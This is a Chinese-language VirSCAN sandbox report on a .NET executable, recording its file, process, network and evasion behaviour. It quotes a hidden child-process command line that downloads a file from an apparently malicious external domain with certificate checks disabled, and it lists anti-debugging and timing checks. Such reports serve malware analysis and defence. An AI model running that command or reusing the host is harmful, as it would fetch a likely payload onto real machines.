VirSCAN VirSCAN

1, 你可以上传任何文件,但是文件的尺寸不能超过20兆。
2, 我们支持RAR或ZIP格式的自动解压缩,但压缩文件中不能包含超过20个文件。
3, 我们可以识别并检测密码为 'infected' 或 'virus' 的压缩文件包。

选择语言
服务器负载
Server Load

文件信息
安全评分:75
行为列表
基本信息
MD5:b59a74e5e2b6f791816c5a05b934fe5f
文件类型:EXE
出品公司:
版本:1.4.0.0---1.4.0.0
壳或编译器信息:COMPILER:Microsoft Visual C# / Basic .NET
关键行为
行为描述:设置特殊文件夹属性
详细信息:C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5
C:\Documents and Settings\Administrator\Local Settings\History
C:\Documents and Settings\Administrator\Local Settings\History\History.IE5
C:\Documents and Settings\Administrator\Cookies
行为描述:直接获取CPU时钟
详细信息:EAX = 0x1ad2cca4, EDX = 0x000000b5
EAX = 0x1ad2ccf0, EDX = 0x000000b5
EAX = 0x2aae6876, EDX = 0x000000b5
EAX = 0x2aae68c2, EDX = 0x000000b5
EAX = 0x2d36384b, EDX = 0x000000b5
EAX = 0x2d363897, EDX = 0x000000b5
EAX = 0x2d3638e3, EDX = 0x000000b5
EAX = 0x2d36392f, EDX = 0x000000b5
EAX = 0x3a5ed585, EDX = 0x000000b5
EAX = 0x3a5ed5d1, EDX = 0x000000b5
行为描述:获取TickCount值
详细信息:TickCount = 279000, SleepMilliseconds = 60000.
TickCount = 279031, SleepMilliseconds = 60000.
TickCount = 279125, SleepMilliseconds = 60000.
TickCount = 279203, SleepMilliseconds = 60000.
TickCount = 279218, SleepMilliseconds = 60000.
TickCount = 279234, SleepMilliseconds = 60000.
TickCount = 279343, SleepMilliseconds = 60000.
TickCount = 279359, SleepMilliseconds = 60000.
TickCount = 279375, SleepMilliseconds = 60000.
TickCount = 279406, SleepMilliseconds = 60000.
TickCount = 279437, SleepMilliseconds = 60000.
TickCount = 279453, SleepMilliseconds = 60000.
TickCount = 279468, SleepMilliseconds = 60000.
TickCount = 279484, SleepMilliseconds = 60000.
TickCount = 279515, SleepMilliseconds = 60000.
进程行为
行为描述:隐藏窗口创建进程
详细信息:ImagePath = , CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\c8774355.tmp" https://lkk5ko0vmxsvnrwqkdgf.fulizhitongche.com/wdFU4RJE0bQofhtFcP5M.xml --resolve lkk5ko0vmxsvnrwqkdgf.fulizhitongche.com:443: -k
行为描述:创建本地线程
详细信息:TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2468, StartAddress = 79F0237F, Parameter = 00000000
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2472, StartAddress = 79F91FCF, Parameter = 001A5780
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2508, StartAddress = 4AEA7456, Parameter = 00000000
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2600, StartAddress = 77DC845A, Parameter = 00000000
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2608, StartAddress = 77E56C7D, Parameter = 001E3430
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2612, StartAddress = 769AE43B, Parameter = 001E5D10
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2616, StartAddress = 6359727B, Parameter = 001C7860
TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2452, ThreadID = 2644, StartAddress = 79F91FCF, Parameter = 001E6680
TargetProcess: c8774355.tmp, InheritedFromPID = 2452, ProcessID = 2664, ThreadID = 2672, StartAddress = 004FAC27, Parameter = 001B2CA8
行为描述:创建新文件进程
详细信息:[0x00000a68]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\c8774355.tmp, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\c8774355.tmp" https://lkk5ko0vmxsvnrwqkdgf.fulizhitongche.com/wdFU4RJE0bQofhtFcP5M.xml --resolve lkk5ko0vmxsvnrwqkdgf.fulizhitongche.com:443: -k
文件行为
行为描述:创建文件
详细信息:C:\Documents and Settings\Administrator\Local Settings\Temp\c8774355.tmp
行为描述:创建可执行文件
详细信息:C:\Documents and Settings\Administrator\Local Settings\Temp\c8774355.tmp
行为描述:覆盖已有文件
详细信息:C:\Documents and Settings\Administrator\Local Settings\Application Data\GDIPFONTCACHEV1.DAT
行为描述:查找文件
详细信息:FileName = C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
FileName = C:\WINDOWS\Microsoft.NET\Framework\\*
FileName = C:\WINDOWS
FileName = C:\WINDOWS\WinSxS
FileName = C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.4053_x-ww_e6967989\MSVCR80.dll
FileName = C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.INI
FileName = C:\Documents and Settings\Administrator\Local Settings\Temp
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\****.exe
FileName = C:\Documents and Settings
FileName = C:\Documents and Settings\Administrator
FileName = C:\Documents and Settings\Administrator\Local Settings
FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%\996E.INI
FileName = C:\WINDOWS\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
FileName = C:\WINDOWS\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
行为描述:设置特殊文件夹属性
详细信息:C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files
C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5
C:\Documents and Settings\Administrator\Local Settings\History
C:\Documents and Settings\Administrator\Local Settings\History\History.IE5
C:\Documents and Settings\Administrator\Cookies
行为描述:修改文件内容
详细信息:C:\Documents and Settings\Administrator\Local Settings\Temp\c8774355.tmp ---> Offset = 0
网络行为
行为描述:建立到一个指定的套接字连接
详细信息:URL: lk****om, IP: **.133.40.**:128, SOCKET = 0x00000784
行为描述:按名称获取主机地址
详细信息:GetAddrInfoW: cl****om
GetAddrInfoW: co****io
GetAddrInfoW: au****om
GetAddrInfoW: lk****om
其他行为
行为描述:检测自身是否被调试
详细信息:IsDebuggerPresent
行为描述:创建互斥体
详细信息:CTF.LBES.MutexDefaultS-*
CTF.Compart.MutexDefaultS-*
CTF.Asm.MutexDefaultS-*
CTF.Layouts.MutexDefaultS-*
CTF.TMD.MutexDefaultS-*
CTF.TimListCache.FMPDefaultS-*MUTEX.DefaultS-*
Local\!PrivacIE!SharedMemory!Mutex
Local\ZonesCounterMutex
Local\ZoneAttributeCacheCounterMutex
Local\ZonesCacheCounterMutex
Local\ZonesLockedCacheCounterMutex
Global\.net clr networking
MSCTF.Shared.MUTEX.IOH
MSCTF.Shared.MUTEX.IJJ
行为描述:创建事件对象
详细信息:EventName = Global\CorDBIPCSetupSyncEvent_2452
EventName = MSCTF.SendReceive.Event.IJJ.IC
EventName = MSCTF.SendReceiveConection.Event.IJJ.IC
行为描述:打开互斥体
详细信息:ShimCacheMutex
Global\CLR_CASOFF_MUTEX
Local\WininetStartupMutex
Local\_!MSFTHISTORY!_
Local\c:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Local\c:!documents and settings!administrator!cookies!
Local\c:!documents and settings!administrator!local settings!history!history.ie5!
Local\WininetConnectionMutex
Local\WininetProxyRegistryMutex
Local\!IETld!Mutex
Global\.net clr networking
CtfmonInstMutexDefaultS-*
行为描述:查找指定窗口
详细信息:NtUserFindWindowEx: [Class,Window] = [MS_AutodialMonitor,]
NtUserFindWindowEx: [Class,Window] = [MS_WebCheckMonitor,]
NtUserFindWindowEx: [Class,Window] = [Shell_TrayWnd,]
NtUserFindWindowEx: [Class,Window] = [CicLoaderWndClass,]
行为描述:窗口信息
详细信息:Pid = 2452, Hwnd=0x1036a, Text = 正在加载内容,请稍后..., ClassName = WindowsForms10.STATIC.app.0.33c0d9d.
Pid = 2452, Hwnd=0x2035e, Text = Start, ClassName = WindowsForms10.Window.8.app.0.33c0d9d.
Pid = 2452, Hwnd=0x3035e, Text = Unhandled exception has occurred in your application. If you click Continue, the application will ignore this error and attempt to continue. If you click Quit, the application will close immediately. Value cannot be null. Parameter name: s., ClassName = WindowsForms10.STATIC.app.0.33c0d9d.
Pid = 2452, Hwnd=0x50436, Text = &Details, ClassName = WindowsForms10.BUTTON.app.0.33c0d9d.
Pid = 2452, Hwnd=0x20438, Text = &Continue, ClassName = WindowsForms10.BUTTON.app.0.33c0d9d.
Pid = 2452, Hwnd=0x1043a, Text = &Quit, ClassName = WindowsForms10.BUTTON.app.0.33c0d9d.
Pid = 2452, Hwnd=0x1043c, Text = See the end of this message for details on invoking just-in-time (JIT) debugging instead of this dialog box. ************** Exception Text ************** System.ArgumentNullException: Value cannot be null. Parameter name: s at System.IO.StringReade, ClassName = WindowsForms10.EDIT.app.0.33c0d9d.
Pid = 2452, Hwnd=0x2036a, Text = Microsoft .NET Framework, ClassName = WindowsForms10.Window.8.app.0.33c0d9d.
行为描述:获取TickCount值
详细信息:TickCount = 279000, SleepMilliseconds = 60000.
TickCount = 279031, SleepMilliseconds = 60000.
TickCount = 279125, SleepMilliseconds = 60000.
TickCount = 279203, SleepMilliseconds = 60000.
TickCount = 279218, SleepMilliseconds = 60000.
TickCount = 279234, SleepMilliseconds = 60000.
TickCount = 279343, SleepMilliseconds = 60000.
TickCount = 279359, SleepMilliseconds = 60000.
TickCount = 279375, SleepMilliseconds = 60000.
TickCount = 279406, SleepMilliseconds = 60000.
TickCount = 279437, SleepMilliseconds = 60000.
TickCount = 279453, SleepMilliseconds = 60000.
TickCount = 279468, SleepMilliseconds = 60000.
TickCount = 279484, SleepMilliseconds = 60000.
TickCount = 279515, SleepMilliseconds = 60000.
行为描述:获取光标位置
详细信息:CursorPos = (80,18468), SleepMilliseconds = 60000.
CursorPos = (6373,26501), SleepMilliseconds = 60000.
CursorPos = (19208,15725), SleepMilliseconds = 60000.
CursorPos = (11517,29359), SleepMilliseconds = 60000.
CursorPos = (27001,24465), SleepMilliseconds = 60000.
CursorPos = (5744,28146), SleepMilliseconds = 60000.
CursorPos = (23320,16828), SleepMilliseconds = 60000.
CursorPos = (10000,492), SleepMilliseconds = 60000.
CursorPos = (3034,11943), SleepMilliseconds = 60000.
CursorPos = (4866,5437), SleepMilliseconds = 60000.
CursorPos = (32430,14605), SleepMilliseconds = 60000.
CursorPos = (3941,154), SleepMilliseconds = 60000.
CursorPos = (331,12383), SleepMilliseconds = 60000.
CursorPos = (17460,18717), SleepMilliseconds = 60000.
CursorPos = (19757,19896), SleepMilliseconds = 60000.
行为描述:打开事件
详细信息:Global\CLR_PerfMon_StartEnumEvent
\KernelObjects\LowMemoryCondition
HookSwitchHookEnabledEvent
MSFT.VSA.COM.DISABLE.2452
MSFT.VSA.IEC.STATUS.6c736db0
\SECURITY\LSA_AUTHENTICATION_INITIALIZED
CTF.ThreadMIConnectionEvent.000007E8.00000000.00000010
CTF.ThreadMarshalInterfaceEvent.000007E8.00000000.00000010
MSCTF.SendReceiveConection.Event.IOH.IC
MSCTF.SendReceive.Event.IOH.IC
行为描述:可执行文件签名信息
详细信息:C:\Documents and Settings\Administrator\Local Settings\Temp\c8774355.tmp(签名验证: 未通过)
行为描述:调用Sleep函数
详细信息:[1]: MilliSeconds = 60000.
[1]: MilliSeconds = 0.
[2]: MilliSeconds = 0.
[3]: MilliSeconds = 0.
[4]: MilliSeconds = 0.
[5]: MilliSeconds = 0.
[6]: MilliSeconds = 0.
[7]: MilliSeconds = 0.
[8]: MilliSeconds = 0.
[9]: MilliSeconds = 0.
[10]: MilliSeconds = 0.
行为描述:隐藏指定窗口
详细信息:[Window,Class] = [Start,WindowsForms10.Window.8.app.0.33c0d9d]
行为描述:可执行文件MD5
详细信息:C:\Documents and Settings\Administrator\Local Settings\Temp\c8774355.tmp ---> a6b32f2e39b4d145b1d49811c080aef6
行为描述:直接获取CPU时钟
详细信息:EAX = 0x1ad2cca4, EDX = 0x000000b5
EAX = 0x1ad2ccf0, EDX = 0x000000b5
EAX = 0x2aae6876, EDX = 0x000000b5
EAX = 0x2aae68c2, EDX = 0x000000b5
EAX = 0x2d36384b, EDX = 0x000000b5
EAX = 0x2d363897, EDX = 0x000000b5
EAX = 0x2d3638e3, EDX = 0x000000b5
EAX = 0x2d36392f, EDX = 0x000000b5
EAX = 0x3a5ed585, EDX = 0x000000b5
EAX = 0x3a5ed5d1, EDX = 0x000000b5
运行截图
VirSCAN

关于VirSCAN | 免责声明 | 联系我们 | 友情链接 | 帮助我们
中国反网络病毒联盟
Powered By CentOSpol

京ICP备11007605号-12

pol

京公网安备 11010802020746号